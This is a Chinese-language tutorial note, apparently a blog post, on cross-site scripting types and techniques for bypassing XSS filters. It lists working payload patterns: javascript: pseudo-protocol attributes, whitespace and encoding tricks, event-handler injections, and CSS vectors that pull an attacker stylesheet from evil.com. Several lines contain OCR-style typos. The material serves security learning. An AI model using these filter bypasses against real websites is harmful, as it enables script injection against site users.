xss-day01
分類
反射型xss(不持久型xss)
交互數據一般不會被存在數據庫里,只是簡單的把用戶輸入數據反射給瀏覽器,一次性,所見即所得
儲存型xss(持久型xss)
交互的數據被存在在數據庫里,永久性存儲,具有很強的穩定性
dom xss
不與后臺服務器產生交互,通過前端dom節點形成xss漏洞
如何繞過xss-filter
1)利用<>標記注射html/javascript
例如
<script>alert('xss');</script>
2)利用html標簽屬性執行xss
很多HTML標記中的屬性都支持javascript:[code]偽協議的形式,這個特殊的協議類型聲明了
URL的主體是任意的JavaScript代碼,由JavaScript的解釋器運行。
例如
<table background= "javascript:alert (/xss/) "></table>
<img src="javascript:alert('XSS');">
如果在瀏覽器中運行上述代碼卻沒有彈出對話框,請不要驚訝,
因為不是所有的Web瀏覽器都支持JavaScript偽協議,所以此類XSS攻擊
具有一定的局限性。當然,并不是所有標記的屬性值都能產生XSS,通常只有引用文件的屬性才能觸發跨站腳本,
讀者可以使用下面的屬性來測試XSS:
href=
1owsrc=
bgsound=
background=
value=
action=
dynsrc=
3)空格回車Tab
如果XSS-Filter僅僅把敏感的輸入字符列入黑名單處理,如對敏感字javascript而言,用戶可
以利用空格、回車和Tab鍵繞過限制,請看下面的例子:?
<img src="javas cript:alert(/xss/)" width=100>
4)對標簽屬性值轉碼
此外,對普通HTML標記的屬性值進行過濾,用戶還可以通過編碼處理來繞過,因為HTML
中屬性值本身支持ASCII碼形式。ASCII碼(American Standard Code for Information Interchange),
即美國信息互換標準代碼,是目前計算機最通用的編碼標準。
因為計算機只能接受數字信息, ASCII碼將字符作為數字來表示,
以便計算機能夠接受和處理,比如大寫字母A的ASCII碼是65。標準的ASCII碼表,
例如
<img src="javascript:alert('XSs');">
替換成:
<img src="javascript:alert(/XSS/);" >
5)產生自己的事件
現在,假設用戶不能依靠屬性值進行跨站,那還有沒有其他方法?答案是肯定的,事件就是其
中一種方法。我們知道,JavaScript 與HTML之間的交互是通過事件來實現的,事件就是用戶或瀏覽器自身
執行的某種動作,比如click、mmouseover、load等,而響應事件的函數就叫做事件處理函數(或事件偵聽器)。
例如
<input type= "button" value="click me" οnclick="alert('click me')" />
<img src="#" οnerrοr=alert(/xss/)>
這是一個HTML代碼中的事件處理程序,運行這段代碼,當單擊[click me]按鈕后,會觸發onclick事件,然后執行當中的JavaScript代碼。
測試事件型的跨站腳本,還有大量的事件可以運用:
onResume
onReverse
onRowDelete
onRowInserted
onSeek
onSynchRestored
onTimeError
onTrackChange
onURLFlip
onRepeat
onMediaComplete
onMediaError
onPause?
onProgress
onOutofSync
oncontrolselect
onlayoutcomplete
onafterprint
onbeforeprint
ondataavailable
ondatasetchanged
ondatasetcomplete
onerrorupdate
onrowenter
onrowexit
onrowsdelete
onrowsinserted .
onselectionchange
onbounce
onfinish
onstop
onresizeend
6)利用css跨站剖析
XSS跨站腳本的另-一個載體是CSS樣式表,使用CSS樣式表執行JavaScript具有隱蔽、靈活
多變等特點,但是CSS樣式表有一個很大的缺點:各瀏覽器之間不能通用,甚者可能同一瀏覽器
不同版本之間都不能通用。
使用CSS直接執行JavaScript代碼的示例如下:
<div style= "background-image:url(javascript:alert('XSS'))">
<style>
body{background-image:url("javascript:alert('XSS')");}
</sty1e>
這些示例有一個共同點:腳本代碼通常是嵌入到style標簽/屬性中的。
如果應用程序禁用了style 標簽,用戶還可以利用部分HTML標簽的style屬性執行代碼。而且, style
屬性可以和任意字符的標簽結合,所以不只要過濾標簽,還必須對style屬性值進行過濾。
繼續看下面的示例:
<div style="list-style- image:ur1(javascript:alert('XSS'))">
<img sty1e="background- image:ur1(javascript:alert('XSS'))">
這些示例中,都用到樣式表中的URL屬性來執行XSS,實際上,最后一條代碼等同于:
|<img src=" javascript:alert('XSS')">
此外,CSS樣式表不需要嵌入到HTML代碼中,它能從其他文件甚至是從不同的目標機器上
進行引用,比如,用戶可以使用<link>標簽引用CSS:
假設樣式表文件地址為http://www.evilcom/atack.css/attack.css 為攻擊者上傳的CSS文件,其
中嵌入了XSS代碼:?
background-image: expression (alert ("XSS")) ;
這時候,目標網站的xSS Expliot如下:
<link rel="stylesheet" href= "http://www.evil.com/attack.css">
使用這種方式執行跨站腳本很方便,而且不容易被察覺。
除了使用<link>標簽外,在網頁中引用外部CSS還可以利用@import將其導入,代碼如下:
I<style type='text/css'>@importurl(http://www.evil.com/xss.css);</style>
@import還有一個特性,就是能直接執行JavaScript代碼,如下:
<style>
@import'javascript:alert ("XSS")';
</style>
總結
- 上一篇: 能量分析攻击day02
- 下一篇: xss-day02